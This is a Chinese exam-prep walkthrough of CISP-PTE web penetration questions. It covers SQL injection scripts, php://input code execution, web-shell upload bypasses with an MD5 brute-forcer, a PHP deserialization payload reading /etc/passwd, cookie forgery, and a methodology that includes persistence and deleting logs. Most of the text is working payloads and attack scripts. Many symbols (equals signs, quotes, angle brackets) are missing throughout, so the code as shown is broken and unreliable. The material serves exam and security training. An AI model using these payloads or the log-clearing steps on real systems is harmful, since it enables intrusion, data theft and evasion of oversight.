1. SQL注入实战从手工测试到自动化脚本SQL注入作为Web安全领域的常青树在CISP-PTE考试中占据重要地位。这道真题的特殊之处在于它屏蔽了常规注释符#和--这直接废掉了大多数入门级注入手法。我在实战中发现题目设计者故意在注册环节留了后门——虽然文章发布时过滤了注释符但用户注册时却可以正常使用。先说说我的踩坑经历。最初尝试用时间盲注写了下面这个脚本import requests import time def database_name(): s [] for i in range(1, 5): for j in range(32,127): startTime time.time() data { title: or if(ascii(mid(database(),%d,1))%d,sleep(2),1) or % (i,j), content: test } response requests.post(url, datadata) if time.time() - startTime 2: s.append(chr(j)) break print(Database:, .join(s))这个脚本虽然能用但效率太低。后来发现更巧妙的解法是利用二次注入和字段闭合。具体操作分三步注册特殊用户*/test);#用该用户发布文章payload形如AAA,(select database()),/*换普通用户查看文章内容这种方法的精妙之处在于利用了MySQL的注释特性。当插入语句执行时/*会注释掉后续内容使我们的select查询结果直接显示在文章内容中。相比盲注这种方法可以直接回显数据效率提升十倍不止。2. 文件包含漏洞的六种利用姿势文件包含漏洞在CTF中常见的有两种基本形式本地文件包含(LFI)和远程文件包含(RFI)。这道真题的刁钻之处在于会自动给包含的文件添加.txt后缀这直接封杀了常规的php文件包含。我尝试了以下几种方法php://filter链式利用?pagephp://filter/readconvert.base64-encode/resource../config.php这种方法可以读取源码但需要额外base64解码data URI注入?pagedata:text/plain,?php system($_GET[cmd]);?实测发现会被追加.txt导致失效日志文件注入通过User-Agent注入PHP代码然后包含/var/log/apache2/access.log最终有效的解法是结合php://input流curl -X POST http://target.com/index.php?pagephp://input -d ?php system(id);?这种手法的关键在于使用POST请求发送PHP代码php://input会读取原始的POST数据避免了文件后缀的限制3. 文件上传的突破技巧文件上传题目看似简单实则暗藏杀机。这道题的特殊之处在于对文件内容进行检测会查杀eval等危险函数文件名会经过MD5处理后缀名保持不变我尝试了三种突破方式方法一图片马绕过制作包含PHP代码的图片马exiftool -Comment?php system($_GET[cmd]);? image.jpg但题目会检测文件内容此方法失效方法二.htaccess配合上传.htaccess文件AddType application/x-httpd-php .abc再上传shell.abc文件但服务器配置限制了此方法方法三写入器攻击上传一个PHP写入器?php file_put_contents(shell.php, base64_decode(PD9waHA...)); ?然后通过爆破MD5值来触发脚本如下import hashlib for i in range(100000): filename fshell{i}.php md5 hashlib.md5(filename.encode()).hexdigest() url fhttp://target.com/uploads/{md5}.php r requests.get(url) if r.status_code 200: print(fShell accessed at: {url}) break这个方法虽然笨但在限制较多的情况下往往有效。关键在于持续发送请求直到命中我们上传的文件。4. 反序列化漏洞的实战利用PHP反序列化漏洞近年来愈发常见。这道题目给出了一个简单的反序列化入口$data unserialize($_GET[str]);通过分析我们需要关注以下几个魔术方法__wakeup()反序列化时自动调用__destruct()对象销毁时调用__toString()对象被当作字符串使用时调用构造payload的关键步骤确定可用的类及其方法寻找存在危险操作的魔术方法构造恶意对象序列化字符串例如如果存在如下类class VulnClass { public $cmd id; function __destruct() { system($this-cmd); } }我们可以构造echo serialize(new VulnClass()); // 输出O:8:VulnClass:1:{s:3:cmd;s:2:id;}最终的利用URLvuln.php?strO:8:VulnClass:1:{s:3:cmd;s:10:cat/etc/passwd;}在实际考试中往往需要结合源代码审计来定位可利用的类和方法。一个实用的技巧是使用PHPGGC这类工具来生成常见框架的利用链。5. 失效的访问控制与越权漏洞越权漏洞在Web应用中十分常见这道题目模拟了一个典型的水平越权场景。解题过程分为三个关键步骤Cookie分析 通过浏览器开发者工具发现身份凭证存储在Cookie中格式为{user:normal,admin:false}参数篡改 将admin字段改为true同时将user改为admin{user:admin,admin:true}编码绕过 发现系统对Cookie进行了base64编码因此需要先编码再发送import base64 malicious_cookie base64.b64encode(b{user:admin,admin:true})在实际渗透测试中还会遇到更复杂的场景比如JWT令牌篡改Referer头校验二次认证绕过一个实用的技巧是使用Burp Suite的Comparer功能对比普通用户和管理用户的请求差异快速定位权限校验点。6. 综合渗透测试方法论结合上述漏洞我总结出一个适用于CISP-PTE考试的渗透测试流程信息收集阶段使用nmap扫描开放端口目录爆破收集潜在入口点分析JS文件寻找API端点漏洞探测阶段sqlmap -u http://target.com/search?id1 --risk3 --level5 nikto -h http://target.com漏洞利用阶段根据漏洞类型选择合适exploit编写定制化攻击脚本建立持久化访问权限提升阶段查找SUID文件内核漏洞检测密码哈希抓取痕迹清理阶段删除日志记录清除临时文件恢复系统配置在真实考试环境中时间管理尤为重要。建议按照低垂果实优先原则先拿下容易的漏洞获取部分权限再逐步深入。